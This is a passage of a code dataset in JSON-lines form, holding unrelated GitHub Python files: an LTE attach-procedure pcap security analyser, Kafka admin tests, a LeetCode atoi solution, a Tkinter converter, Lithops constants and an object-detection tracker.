1):\n print(forest[i][j])\n # break\n break\n\n\ntest()\n","repo_name":"nederxal/aoc2022","sub_path":"jour8/jour8.py","file_name":"jour8.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40103242576","text":"from analyser import safe_dict_get, get_attach_message\n\n\ndef analyse(packets, attach_packets, ue_info):\n # check for possible disruption of service because of invalid MAC\n mac_invalid_behaviour(packets, attach_packets, ue_info)\n\n # check if security options are used correctly if there is a security mode command in pcap\n if safe_dict_get(ue_info['locations'], 'rrc_smc'):\n correct_security_options(packets, ue_info)\n\n # check if the right bearers are used in analysis, and if RLC uses acknowledged mode\n correct_bearer_in_attach(attach_packets, ue_info)\n correct_rlc_mode(attach_packets)\n\n # check if UE capabilities are transmitted after security options are set\n capability_after_security(attach_packets, ue_info)\n\n\ndef capability_after_security(attach_packets, ue_info):\n # find UE capability information\n capability = None\n for packet in attach_packets:\n if 'UECapabilityInformation' in packet.full_summary:\n capability = packet\n if not capability:\n return\n\n if capability.id < ue_info['locations']['rrc_smc']:\n capability.add_analysis(\n 'Capabilities sent before security options were set.\\nA malicious actor could perform downgrade attacks or accelerated battery draining.',\n 2)\n\n\ndef correct_rlc_mode(attach_packets):\n \"\"\"Checks if every attach packet uses RLC acknowledged mode.\"\"\"\n rrc_conn_setup_complete = get_attach_message(attach_packets, '65')\n if not rrc_conn_setup_complete:\n return # no attach procedure should happen so no need to check for correct RLC mode\n for packet in attach_packets:\n if not packet.data.get('rlc-lte.mode') == '4':\n packet.add_analysis(\n 'RLC not travelling over acknowledged mode. In the attach process, every packet should be acknowledged.',\n 2)\n\n\ndef correct_bearer_in_attach(attach_packets, ue_info):\n \"\"\"Checks if correct SRB is used in packets and if correct RLC modes are used.\"\"\"\n # get RRCConnectionSetupComplete to find where SRB1 should be used\n rrc_conn_setup_complete = get_attach_message(attach_packets, '65')\n if rrc_conn_setup_complete:\n ue_info['locations']['attach_accept'] = rrc_conn_setup_complete.id\n\n # get RRCConnectionReconfiguration to find where SRB2 should be used\n rrc_conn_reconf = get_attach_message(attach_packets, '66')\n if rrc_conn_reconf:\n ue_info['locations']['attach_accept'] = rrc_conn_reconf.id\n\n if rrc_conn_reconf and not rrc_conn_reconf.data.get('lte-rrc.SRB_ToAddMod_element'):\n rrc_conn_reconf.add_analysis('No SRB-ToAddMod present. From attach accept, NAS/RRC should travel over SRB2.', 2)\n\n # for all packets, check for correct SRB\n for packet in attach_packets:\n if rrc_conn_reconf and packet.id > rrc_conn_reconf.id + 1:\n if packet.data.get('rlc-lte.channel-type') != '4':\n packet.add_analysis('Attach message not travelling over SRB. This should always be the case.', 3)\n elif packet.data.get('rlc-lte.channel-id') == '1':\n packet.add_analysis('Attach message travelling over SRB1 after attach accept.', 2)\n elif packet.data.get('rlc-lte.channel-id') != '2':\n packet.add_analysis('Attach message not travelling over SRB1 or SRB2 after attach accept.', 3)\n elif packet.id >= rrc_conn_setup_complete.id:\n if packet.data.get('rlc-lte.channel-type') != '4':\n packet.add_analysis('Attach message not travelling over SRB. This should always be the case.', 3)\n elif packet.data.get('rlc-lte.channel-id') != '1' and 'Ciphered message' not in packet.full_summary:\n packet.add_analysis(\n 'Attach message not travelling over SRB1. This should always be the case during the attach procedure.',\n 3)\n\n\ndef correct_security_options(packets, ue_info):\n \"\"\"Checks if correct security options are used every time for PDCP.\"\"\"\n rrc_smc = ue_info['locations']['rrc_smc'] + 1\n secure_packets = packets[rrc_smc:]\n ca = ue_info['rrc_ca'][-1]\n ia = ue_info['rrc_ia'][-1]\n for packet in secure_packets:\n if 'RRC' in packet.summary:\n packet_ca = packet.data.get('pdcp-lte.security-config.ciphering')\n if not ca == packet_ca:\n packet.add_analysis('PDCP ciphering algorithm does not match configured algorithm.', 2)\n packet_ia = packet.data.get('pdcp-lte.security-config.integrity')\n if not ia == packet_ia:\n packet.add_analysis('PDCP integrity algorithm does not match configured algorithm.', 2)\n packet.category.append('Analysed')\n\n\ndef mac_invalid_behaviour(packets, attach_packets, ue_info):\n \"\"\"Finds if unfinished attach occurred and looks if behaviour could be caused by an invalid PDCP MAC.\n\n In this case, behaviour caused by an invalid MAC is defined as follows:\n * Attach must be incomplete (RRCConnectionReconfiguration is not sent)\n * If last packet in capture is not part of attach procedure, send error.\n An example of this could be that the last packet is an attach release.\n This behaviour can be found in enb_mac_invalid.pcap\n * If last packet in capture is part of attach procedure, sent warning.\n Capture file could simply be incomplete, or could be because of invalid MAC.\n This behaviour can be found in enb_mac_incomplete.pcap\n \"\"\"\n\n # find if RRCConnectionReconfiguration occurred, if not, attach procedure is incomplete\n complete = False\n for packet in packets:\n if 'RRCConnectionReconfiguration' in packet.summary:\n complete = True\n if complete or safe_dict_get(ue_info,\n 'rrc_ca') != 'eea0': # if AS ciphering is enabled, we will not be able to know if attach finished\n return\n\n # find if attach packet is last packet of capture\n last_attach = attach_packets[-1]\n if last_attach == packets[-1]:\n # send warning for possible incomplete file or invalid PDCP MAC\n last_attach.add_analysis(\n 'Attach procedure incomplete.\\nIf there are no possible causes listed in this packet, it might be because of an invalid MAC.',\n 1)\n else:\n # send error for probable invalid PDCP MAC\n last_attach.add_analysis('Attach procedure incomplete.\\nThis might be because of an invalid PDCP MAC.', 3)\n","repo_name":"thomasluijkman/4Gvisualiser","sub_path":"analyser/attach.py","file_name":"attach.py","file_ext":"py","file_size_in_byte":6450,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"11639666560","text":"from datetime import datetime\nimport os\nimport zipfile\nfrom twitter_parser import parse_tweets\n\nnetwork = {}\nzip_directory = \"/Users/nslobodchuk/Projects/twitter-data/twitter-data-zip\"\nworking_directory = \"/Users/nslobodchuk/Projects/twitter-data/twitter-data-working-directory\"\nzip_file_names = os.listdir(zip_directory)\nzip_file_names.sort()\nfor zip_file_name in zip_file_names:\n if not zip_file_name.lower().endswith(\".zip\"):\n continue\n with zipfile.ZipFile(os.path.join(zip_directory, zip_file_name)) as zip_file:\n file_names = zip_file.namelist()\n zip_file.extractall(working_directory)\n print(\"Extracted\", zip_file_name, \"to\", working_directory, datetime.now())\n for file_name in file_names:\n if not file_name.lower().endswith(\".json\"):\n continue\n else:\n parse_tweets(network, os.path.join(working_directory, file_name))\n os.remove(os.path.join(working_directory, file_name))\n keys_list = list(network.keys())\n print(len(keys_list))\n print(\"Removed\", file_name, \"from\", working_directory, datetime.now())\n\n\n","repo_name":"nslobodchuk/twitter-data","sub_path":"_06082017/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30384538881","text":"def f(x,y):\n return (x+y)/(x**2 + y**2)\n\nwerte = [0.01*i for i in range(1,101)]\nprint(werte)\n\nerg = []\nfor entry in werte:\n for entry2 in werte:\n erg.append(f(entry, entry2))\n\nprint(len(erg))\n\n\nvier = 0;\nkleiner = [];\n\nfor entry in erg:\n if(entry == 4.0): vier = vier + 1;\n if(entry < 1.2): kleiner.append(entry)\n\nprint(\"c.)\")\nprint(vier)\nprint(\"d.)\")\nprint(len(kleiner))\nprint(\"e.)\")\nprint(sum(kleiner))","repo_name":"loiss01/LFU-Programmiersprache-1","sub_path":"Ü6/Alois_Stoeckl-6-6.py","file_name":"Alois_Stoeckl-6-6.py","file_ext":"py","file_size_in_byte":423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22734315947","text":"from random import randint\nimport subprocess\nimport time\n\nimport faker\nimport pytest\nfrom pytest import fixture, mark\n\nfrom dadaia_tools.kafka_admin import KafkaAdminAPI\n\n\n\ndef get_random_num_sufix():\n return str(randint(0, 9999)).zfill(4)\n\n@pytest.fixture(scope='session', autouse=True)\ndef setup_and_teardown_session():\n # Run zookeeper in docker\n subprocess.run(\n [\n 'docker',\n 'run',\n '-d',\n '--rm',\n '-p',\n '2181:2181',\n '--name',\n 'zookeeper_test',\n 'zookeeper:latest',\n ]\n )\n # Run kafka in docker\n time.sleep(3)\n subprocess.run(\n [\n 'docker',\n 'run',\n '-d',\n '--rm',\n '-p',\n '9092:9092',\n '--name',\n 'kafka_test',\n '--link',\n 'zookeeper_test:zookeeper',\n '-e',\n 'KAFKA_ZOOKEEPER_CONNECT=zookeeper:2181',\n '-e',\n 'KAFKA_ADVERTISED_LISTENERS=PLAINTEXT://localhost:9092',\n '-e',\n 'KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR=1',\n 'confluentinc/cp-kafka:latest',\n ]\n )\n time.sleep(10)\n yield\n subprocess.Popen(['docker', 'stop', 'kafka_test'])\n subprocess.Popen(['docker', 'stop', 'zookeeper_test'])\n time.sleep(5)\n\n\n@pytest.fixture(scope='function')\ndef get_kafka():\n conn_str = 'localhost:9092'\n kafka_client = KafkaAdminAPI(connection_str=conn_str)\n yield kafka_client\n kafka_client.clear_topics()\n\n\n@pytest.fixture(scope='function')\ndef kafka_with_topic(get_kafka):\n topic = f'test_topic_{get_random_num_sufix()}'\n get_kafka.create_idempotent_topic(topic_name=topic)\n yield topic\n get_kafka.clear_topics()\n\n\n######################################## TESTS ########################################\n\n\n@mark.kafka_admin\ndef test_quando_kafka_service_existe_entao_conecta():\n conn_str = 'localhost:9092'\n kafka_client = KafkaAdminAPI(connection_str=conn_str)\n result = type(kafka_client)\n expected = KafkaAdminAPI\n assert expected == result\n\n\n@mark.kafka_admin\ndef test_quando_cria_kafka_admin_obj_e_singleton():\n conn_str = 'localhost:9092'\n kafka_client = KafkaAdminAPI(connection_str=conn_str)\n kafka_client2 = KafkaAdminAPI()\n assert kafka_client == kafka_client2\n\n\n@mark.kafka_admin\ndef test_quando_sobe_kafka_nao_ha_topicos(get_kafka):\n result = get_kafka.list_topics()\n expected = []\n assert expected == result\n\n\n@mark.kafka_admin\ndef test_quando_cria_topico_que_nao_existe_cria_topico(get_kafka):\n topic = 'test_topic'\n get_kafka.create_idempotent_topic(topic_name=topic)\n time.sleep(0.2)\n expected = get_kafka.list_topics()[0]\n assert expected == topic\n\n\n@mark.kafka_admin\ndef test_quando_cria_2_topicos_com_chaining_eles_sao_criados(get_kafka):\n topic_1, topic_2 = 'test_topic_1', 'test_topic_2'\n get_kafka.create_idempotent_topic(topic_name=topic_1).create_idempotent_topic(topic_name=topic_2)\n expected = get_kafka.list_topics()\n assert expected == [topic_1, topic_2]\n\n\n@mark.kafka_admin\ndef test_quando_cria_topico_que_existe_por_padrao_nao_sobrescreve(get_kafka):\n topic = 'test_topic'\n prev_num_partitions = 1\n pos_num_partitions = 3\n get_kafka.create_idempotent_topic(topic_name=topic, topic_config = {'num_partitions': prev_num_partitions})\n get_kafka.create_idempotent_topic(topic_name=topic, topic_config = {'num_partitions': pos_num_partitions})\n partitions = get_kafka.describe_topic(topic)['partitions']\n result_partitions = len(partitions)\n assert result_partitions == prev_num_partitions\n\n\n@mark.kafka_admin\ndef test_quando_cria_topico_que_existe_e_overwrite_entao_sobrescreve(get_kafka):\n topic, prev_num_partitions, pos_num_partitions = 'test_topic', 1, 3\n get_kafka.create_idempotent_topic(topic_name=topic, topic_config = {'num_partitions': prev_num_partitions})\n time.sleep(0.2)\n get_kafka.create_idempotent_topic(topic_name=topic, overwrite=True, topic_config = {'num_partitions': pos_num_partitions})\n partitions = get_kafka.describe_topic(topic)['partitions']\n result_partitions = len(partitions)\n assert result_partitions == pos_num_partitions\n\n\n@mark.kafka_admin\n@mark.parametrize(\n 'config_name,config_value',\n [\n ('delete.retention.ms', '1000'),\n ('file.delete.delay.ms', '1000'),\n ('flush.messages', '1000'),\n ('flush.ms', '1000'),\n ('cleanup.policy', 'compact'),\n ],\n)\ndef test_quando_cria_topico_com_configuracoes_especiais_entao_cria_topico_com_configuracoes_especiais(\n config_name, config_value, get_kafka):\n topic = f'test_topic_{get_random_num_sufix()}'\n topic_config = {config_name: config_value}\n get_kafka.create_idempotent_topic(topic_name=topic, topic_config=topic_config, overwrite=True)\n result = get_kafka.get_topic_config(topic).resources[0][4]\n expected = topic_config[config_name]\n delete_retention_ms = list(filter(lambda x: x[0] == config_name, result))[0][1]\n assert delete_retention_ms == expected\n \n\n@mark.kafka_admin\ndef test_quando_cria_topico_entao_e_possivel_alterar_configuracoes_do_topico(get_kafka):\n topic = f'test_topic_{get_random_num_sufix()}'\n topic_config = {'delete.retention.ms': '1000'}\n get_kafka.create_idempotent_topic(topic_name=topic, topic_config=topic_config, overwrite=True)\n result = get_kafka.get_topic_config(topic).resources[0][4]\n expected = topic_config['delete.retention.ms']\n delete_retention_ms = list(filter(lambda x: x[0] == 'delete.retention.ms', result))[0][1]\n assert delete_retention_ms == expected\n\n\n@mark.kafka_admin\ndef test_quando_pego_topico_por_nome_entao_tenho_informacoes_do_topico(get_kafka, kafka_with_topic):\n result = get_kafka.get_topic_by_name(kafka_with_topic)\n expected = kafka_with_topic\n assert result['topic'] == expected\n\n\n@mark.kafka_admin\ndef test_quando_topicos_sao_limpos_entao_lista_de_topicos_retorna_lista_vazia(get_kafka, kafka_with_topic):\n get_kafka.clear_topics()\n result = get_kafka.list_topics()\n assert result == []\n\n\n@mark.kafka_admin\n@mark.latest\ndef test_quando_topico_e_deletado_entao_nao_aparece_na_lista_de_topicos(get_kafka, kafka_with_topic):\n get_kafka.delete_topic(kafka_with_topic)\n result = get_kafka.list_topics()\n assert kafka_with_topic not in result\n\n","repo_name":"marcoaureliomenezes/dadaia-tools","sub_path":"tests/test_kafka_admin.py","file_name":"test_kafka_admin.py","file_ext":"py","file_size_in_byte":6404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14042589696","text":"import os\nimport sys\nimport tempfile\n\nLOGGER_LEVEL = 'info'\nLOGGER_STREAM = 'ext://sys.stderr'\nLOGGER_FORMAT = \"%(asctime)s [%(levelname)s] %(filename)s:%(lineno)s -- %(message)s\"\nLOGGER_FORMAT_SHORT = \"[%(levelname)s] %(filename)s:%(lineno)s -- %(message)s\"\nLOGGER_LEVEL_CHOICES = [\"debug\", \"info\", \"warning\", \"error\", \"critical\"]\n\nCPU_COUNT = os.cpu_count()\n\nSTORAGE_CLI_MSG = '{} client created'\nCOMPUTE_CLI_MSG = '{} client created'\n\nLOCALHOST = 'localhost'\nSERVERLESS = 'serverless'\nSTANDALONE = 'standalone'\n\nMODE_DEFAULT = SERVERLESS\n\nMONITORING_DEFAULT = 'storage'\nMONITORING_INTERVAL = 2\n\nSERVERLESS_BACKEND_DEFAULT = 'ibm_cf'\nSTANDALONE_BACKEND_DEFAULT = 'ibm_vpc'\nSTORAGE_BACKEND_DEFAULT = 'ibm_cos'\n\nJOBS_PREFIX = \"lithops.jobs\"\nTEMP_PREFIX = \"lithops.jobs/tmp\"\nLOGS_PREFIX = \"lithops.logs\"\nRUNTIMES_PREFIX = \"lithops.runtimes\"\n\nEXECUTION_TIMEOUT_DEFAULT = 1800\nEXECUTION_TIMEOUT_LOCALHOST_DEFAULT = 3600\n\nLOCALHOST_RUNTIME_DEFAULT = os.path.basename(sys.executable)\nLOCALHOST_SERVICE_IDLE_TIMEOUT = 3\nLOCALHOST_SERVICE_CHECK_INTERVAL = 2\n\nSA_INSTALL_DIR = '/opt/lithops'\nSA_TMP_DIR = '/tmp/lithops-root'\nSA_LOG_FILE = f'{SA_TMP_DIR}/service.log'\nSA_SERVICE_PORT = 8080\nSA_CONFIG_FILE = os.path.join(SA_INSTALL_DIR, 'config')\nSA_DATA_FILE = os.path.join(SA_INSTALL_DIR, 'access.data')\n\nSA_DEFAULT_CONFIG_KEYS = {\n 'runtime': 'python3',\n 'exec_mode': 'consume',\n 'start_timeout': 300,\n 'pull_runtime': False,\n 'auto_dismantle': True,\n 'soft_dismantle_timeout': 300,\n 'hard_dismantle_timeout': 3600\n}\n\nMAX_AGG_DATA_SIZE = 4 # 4MiB\n\nWORKER_PROCESSES_DEFAULT = 1\n\nTEMP_DIR = os.path.realpath(tempfile.gettempdir())\nUSER_TEMP_DIR = 'lithops-' + os.getenv(\"USER\", \"root\")\nLITHOPS_TEMP_DIR = os.path.join(TEMP_DIR, USER_TEMP_DIR)\nJOBS_DIR = os.path.join(LITHOPS_TEMP_DIR, 'jobs')\nLOGS_DIR = os.path.join(LITHOPS_TEMP_DIR, 'logs')\nMODULES_DIR = os.path.join(LITHOPS_TEMP_DIR, 'modules')\nCUSTOM_RUNTIME_DIR = os.path.join(LITHOPS_TEMP_DIR, 'custom-runtime')\n\nRN_LOG_FILE = os.path.join(LITHOPS_TEMP_DIR, 'localhost-runner.log')\nSV_LOG_FILE = os.path.join(LITHOPS_TEMP_DIR, 'localhost-service.log')\nFN_LOG_FILE = os.path.join(LITHOPS_TEMP_DIR, 'functions.log')\n\nCLEANER_DIR = os.path.join(LITHOPS_TEMP_DIR, 'cleaner')\nCLEANER_PID_FILE = os.path.join(CLEANER_DIR, 'cleaner.pid')\nCLEANER_LOG_FILE = os.path.join(CLEANER_DIR, 'cleaner.log')\n\nHOME_DIR = os.path.expanduser('~')\nCONFIG_DIR = os.path.join(HOME_DIR, '.lithops')\nCACHE_DIR = os.path.join(CONFIG_DIR, 'cache')\nCONFIG_FILE = os.path.join(CONFIG_DIR, 'config')\nCONFIG_FILE_GLOBAL = os.path.join(\"/etc\", \"lithops\", \"config\")\n\nSERVERLESS_BACKENDS = [\n 'ibm_cf',\n 'code_engine',\n 'knative',\n 'openwhisk',\n 'aws_lambda',\n 'aws_batch',\n 'gcp_cloudrun',\n 'gcp_functions',\n 'cloudrun',\n 'azure_functions',\n 'azure_containers',\n 'aliyun_fc',\n 'oracle_f',\n 'k8s'\n]\n\nSTANDALONE_BACKENDS = [\n 'ibm_vpc',\n 'aws_ec2',\n 'azure_vms',\n 'vm'\n]\n\nFAAS_BACKENDS = [\n 'ibm_cf',\n 'knative',\n 'openwhisk',\n 'aws_lambda',\n 'gcp_cloudrun',\n 'gcp_functions',\n 'cloudrun',\n 'azure_functions',\n 'azure_containers',\n 'aliyun_fc',\n 'oracle_f'\n]\n\nBATCH_BACKENDS = [\n 'ibm_vpc',\n 'aws_ec2',\n 'azure_vms',\n 'aws_batch',\n 'k8s',\n 'code_engine'\n 'vm'\n]\n","repo_name":"lithops-cloud/lithops","sub_path":"lithops/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":3306,"program_lang":"python","lang":"en","doc_type":"code","stars":287,"dataset":"github-code","pt":"61"} +{"seq_id":"14750619346","text":"\"\"\"\n8. String to Integer (atoi) (READ ALL ITS ALL IMP for your CODE)\nhttps://leetcode.com/problems/string-to-integer-atoi/\n\nImplement the myAtoi(string s) function, which converts a string to a 32-bit signed integer (similar to C/C++'s atoi function).\n\nThe algorithm for myAtoi(string s) is as follows:\n\nRead in and ignore any leading whitespace.\nCheck if the next character (if not already at the end of the string) is '-' or '+'. Read this character in if it is either. This determines if the final result is negative or positive respectively. Assume the result is positive if neither is present.\nRead in next the characters until the next non-digit charcter or the end of the input is reached. The rest of the string is ignored.\nConvert these digits into an integer (i.e. \"123\" -> 123, \"0032\" -> 32). If no digits were read, then the integer is 0. Change the sign as necessary (from step 2).\nIf the integer is out of the 32-bit signed integer range [-231, 231 - 1], then clamp the integer so that it remains in the range. Specifically, integers less than -231 should be clamped to -231, and integers greater than 231 - 1 should be clamped to 231 - 1.\nReturn the integer as the final result.\nNote:\n\nOnly the space character ' ' is considered a whitespace character.\nDo not ignore any characters other than the leading whitespace or the rest of the string after the digits.\n \n\nConstraints:\n\n0 <= s.length <= 200\ns consists of English letters (lower-case and upper-case), digits (0-9), ' ', '+', '-', and '.'.\n\"\"\"\n\nclass Solution:\n def myAtoi(self, s: str) -> int:\n\n integer = ''\n \n for i in range(len(s)):\n if s[i] != ' ' and s[i] != '+' and s[i] != '-' and not s[i].isdigit():\n return 0\n if s[i] == '+' or s[i] == '-' or s[i].isdigit():\n integer += s[i]\n #we want to add every num after, we want to interate until we get a char that is not a num\n j = i+1\n while j < len(s) and s[j].isdigit():\n integer += s[j]\n j += 1\n break\n \n if not integer or integer == '+' or integer == '-': \n return 0\n \n integer = int(integer)\n \n if integer > 2**31-1:\n return 2**31-1\n \n elif integer < -2**31:\n return -2**31\n else:\n return integer\n\n \"\"\"\nwhite space: .strip()\nif s[0] == \"-\" / \"+\"\n.isnumeric()\nout of range= conver str to int\nord(1) 49\nord(0) 48\nord(1) - ord(0) = 1\n\n\"10\"\nord(10) - ord(0)= 58-48 = 10\n\n\n\n-2**31 0 and int:\r\n n= \" \"\r\n while x > 0:\r\n y = str(x%6)\r\n x = int(x / 6)\r\n n = y + n\r\n messagebox.showinfo(\"Ответ\", n)\r\n else:\r\n messagebox.showinfo(\"Ошибка\",\"Извините вы вели отрицательное число\")\r\n except:\r\n messagebox.showinfo(\"Ошибка\",\"Извините вводите числа\")\r\n\r\n\r\n\r\n#поле\r\na = StringVar()\r\na = Entry(textvariable=a, width=50)\r\na.grid(row=1, column=1, columnspan=2, padx=10, pady=5)\r\n\r\n#кнопки\r\nbvrustgal = Button(text=\"C\", command = ustgal, width=20)\r\nbvrustgal.grid(row=2 ,column=1 ,padx=5 ,pady=5)\r\nhurwuult = Button(text=\"10-->6\", command = perevod, width=20)\r\nhurwuult.grid(row=2 ,column=2, padx=5 ,pady=5)\r\n\r\n#меню\r\nmain_menu = Menu(tearoff = 0)\r\nm_menu = Menu(tearoff = 0)\r\nm_menu.add_command(label=\"о программе\", command=pragromma)\r\nm_menu.add_command(label=\"о авторе\", command=avtor)\r\nmain_menu.add_cascade(label=\"меню\", menu=m_menu)\r\nroot. config(menu=main_menu)\r\n\r\n\r\nroot.mainloop()","repo_name":"Enigmaprog/bmstu","sub_path":"sem_02/python-programming/lab10_calculator_protection.py","file_name":"lab10_calculator_protection.py","file_ext":"py","file_size_in_byte":1860,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2602331740","text":"# Recode string values to numerical values\n# NOTE: Advisable to begin with 0 to aid in further analysis (i.e.,regression)\n# EXAMPLE: recode_str_to_num(df,\"Gender\")\n\ndef recode_str_to_num(df,varname):\n l = list(df[varname])\n d = dict([(y,x) for x,y in enumerate(sorted(set(l)))])\n \n copy_column = df[varname]\n col_num = df.columns.get_loc(varname)\n# Let's insert the copied column to the immediate right of the original column\n varname_num = varname+'_num'\n df.insert(col_num+1,varname_num,copy_column,True)\n df_new=df.replace({\"Gender_num\":d})\n return df_new\n","repo_name":"priyanka34311/survey-data-tools","sub_path":"recode_str_to_num.py","file_name":"recode_str_to_num.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"6903488407","text":"# g.py - globals\r\nimport pygame,utils,random,os\r\n\r\napp='PMJ'; ver='1.0'\r\nver='1.1'\r\n# tablet version\r\nver='1.2'\r\n# retain mouse position if set via orange_set()\r\nver='1.3'\r\n# allow arrows on XO, Enter=tick\r\nver='1.4'\r\n# orange rect on menu - mouse follows arrows\r\nver='1.5'\r\n# fake cursor\r\nver='1.6'\r\n# title centred\r\nver='1.8'\r\n# rectangle sizes scaled\r\n# negative pointer\r\nver='2.0'\r\n# intervening versions scrapped - sluggish problem\r\n# remove pixel reduction in make_grid\r\n# finale change -\r\n# left click toggles between kaleid and whole via jigsaw.whole variable\r\nver='2.1'\r\n# x key works in finale\r\n# new key constants\r\nver='2.2'\r\n# position pointer at start of jigsaw\r\n# new title\r\nver='21'\r\nver='22'\r\n# flush_queue() doesn't use gtk on non-XO\r\n\r\nUP=(264,273)\r\nDOWN=(258,274)\r\nLEFT=(260,276)\r\nRIGHT=(262,275)\r\nCROSS=(259,120)\r\nCIRCLE=(265,111)\r\nSQUARE=(263,32)\r\nTICK=(257,13)\r\n\r\ndef init(): # called by run()\r\n random.seed()\r\n global redraw\r\n global screen,w,h,font1,font2,clock\r\n global factor,offset,imgf,message,version_display\r\n global pos,pointer,negative\r\n redraw=True\r\n version_display=False\r\n screen = pygame.display.get_surface()\r\n pygame.display.set_caption(app)\r\n screen.fill((255,255,192))\r\n pygame.display.flip()\r\n w,h=screen.get_size()\r\n if float(w)/float(h)>1.5: #widescreen\r\n offset=(w-4*h/3)/2 # we assume 4:3 - centre on widescreen\r\n else:\r\n h=int(.75*w) # allow for toolbar - works to 4:3\r\n offset=0\r\n factor=float(h)/24 # measurement scaling factor (32x24 = design units)\r\n imgf=float(h)/900 # image scaling factor - all images built for 1200x900\r\n clock=pygame.time.Clock()\r\n if pygame.font:\r\n t=int(60*imgf); font1=pygame.font.Font(None,t)\r\n t=int(80*imgf); font2=pygame.font.Font(None,t)\r\n message=''\r\n pos=pygame.mouse.get_pos()\r\n pointer=utils.load_image('pointer.png',True)\r\n pygame.mouse.set_visible(False)\r\n negative=utils.load_image('negative.png',True)\r\n \r\n # this activity only\r\n global level,best,title,title_c,star,state\r\n level=1\r\n best=[]\r\n for ind in range(12): best.append(0)\r\n title=utils.load_image('title.png',True)\r\n title_c=w/2,title.get_height()/2\r\n star=utils.load_image('star.png',True)\r\n state=1\r\n # 1 title\r\n # 2 menu\r\n # 3 jigsaw\r\n \r\ndef sx(f): # scale x function\r\n return int(f*factor+offset+.5)\r\n\r\ndef sy(f): # scale y function\r\n return int(f*factor+.5)\r\n","repo_name":"sugar-activities/4451-activity","sub_path":"g.py","file_name":"g.py","file_ext":"py","file_size_in_byte":2465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8989427515","text":"#\n# This file is part of Vizy \n#\n# All Vizy source code is provided under the terms of the\n# GNU General Public License v2 (http://www.gnu.org/licenses/gpl-2.0.html).\n# Those wishing to use Vizy source code, software and/or\n# technologies under different licensing terms should contact us at\n# support@charmedlabs.com. \n#\n\n# This code was adapted from pyimagesearch.com.\n\nfrom scipy.spatial import distance as dist\nfrom collections import OrderedDict, defaultdict\nimport numpy as np\n\ndef iou(boxA, boxB):\n # determine the (x, y)-coordinates of the intersection rectangle\n xA = max(boxA[0], boxB[0])\n yA = max(boxA[1], boxB[1])\n xB = min(boxA[2], boxB[2])\n yB = min(boxA[3], boxB[3])\n # compute the area of intersection rectangle\n interArea = max(0, xB - xA + 1) * max(0, yB - yA + 1)\n # compute the area of both the prediction and ground-truth\n # rectangles\n boxAArea = (boxA[2] - boxA[0] + 1) * (boxA[3] - boxA[1] + 1)\n boxBArea = (boxB[2] - boxB[0] + 1) * (boxB[3] - boxB[1] + 1)\n # compute the intersection over union by taking the intersection\n # area and dividing it by the sum of prediction + ground-truth\n # areas - the interesection area\n iou = interArea / float(boxAArea + boxBArea - interArea)\n # return the intersection over union value\n return iou \n\n# Todo: make classSwitch a list of classes that are switchable. This will require lots of changes\n# because we want to be able track unswitchable classes differently than switchable classes. \nclass DetectionTracker:\n def __init__(self, maxDisappeared=1, maxDistance=250, maxClassHistory=100, threshold=0.5, iouEquiv=0.4, classSwitch=False):\n # initialize the next unique object ID along with two ordered\n # dictionaries used to keep track of mapping a given object\n # ID to its centroid and number of consecutive frames it has\n # been marked as \"disappeared\", respectively\n self.nextObjectID = 0\n self.objects = OrderedDict()\n self.disappeared = OrderedDict()\n self.classHistory = OrderedDict()\n\n # store the number of maximum consecutive frames a given\n # object is allowed to be marked as \"disappeared\" until we\n # need to deregister the object from tracking\n self.maxDisappeared = maxDisappeared\n\n # store the maximum distance between centroids to associate\n # an object -- if the distance is larger than this maximum\n # distance we'll start to mark the object as \"disappeared\"\n self.maxDistance = maxDistance\n\n self.maxClassHistory = maxClassHistory\n self.threshold = threshold\n self.iouEquiv = iouEquiv\n self.classSwitch = classSwitch\n if not self.classSwitch:\n self.maxClassHistory = 1\n\n def register(self, box, classScore):\n # Create new entry in object tables.\n # when registering an object we use the next available object\n # ID to store the box\n self.objects[self.nextObjectID] = box\n self.classHistory[self.nextObjectID] = [classScore]\n self.disappeared[self.nextObjectID] = -self.maxDisappeared\n self.nextObjectID += 1\n\n def deregister(self, objectID):\n # to deregister an object ID we delete the object ID from\n # both of our respective dictionaries\n del self.objects[objectID]\n del self.classHistory[objectID]\n del self.disappeared[objectID]\n\n def mostLikelyClass(self, history):\n histogram = defaultdict(lambda: np.array([0.0, 0.0]))\n for h in history:\n histogram[h[0]] += np.array([h[1], 1.0])\n max_ = [0.0, 1.0]\n for k, v in histogram.items():\n if v[0]>max_[0]:\n max_ = v \n class_ = k \n return class_, max_[0]/max_[1] \n\n def removeOverlaps(self):\n ious = {}\n deregs = set()\n for i in self.objects:\n for j in self.objects:\n if i==j:\n break\n ious[(i, j)] = iou(self.objects[i], self.objects[j])\n if i==j:\n continue\n ious = {k: v for k, v in sorted(ious.items(), key=lambda item: item[1], reverse=True)}\n for k, v in ious.items():\n if v>=self.iouEquiv:\n i, j = k\n if self.classSwitch:\n if len(self.classHistory[i])>len(self.classHistory[j]):\n deregs.add(j)\n else:\n deregs.add(i)\n else:\n if self.classHistory[i][0][0]==self.classHistory[j][0][0]:\n if self.classHistory[i][0][1]>self.classHistory[j][0][1]:\n deregs.add(j)\n else:\n deregs.add(i)\n else: # v=0 and (showDisappeared or self.disappeared[obj]==0):\n classScore = self.mostLikelyClass(self.classHistory[obj])\n objInfo = {\"box\": self.objects[obj], \"class\": classScore[0], \"score\": classScore[1]}\n try:\n classScore0 = self.classScore0[obj]\n objInfo['class0'] = classScore0[0]\n objInfo['score0'] = classScore0[1]\n except: \n pass\n objects[obj] = objInfo\n\n\n return objects\n\n def update(self, dets, showDisappeared=False):\n self.classScore0 = {}\n # check to see if the list of input bounding box 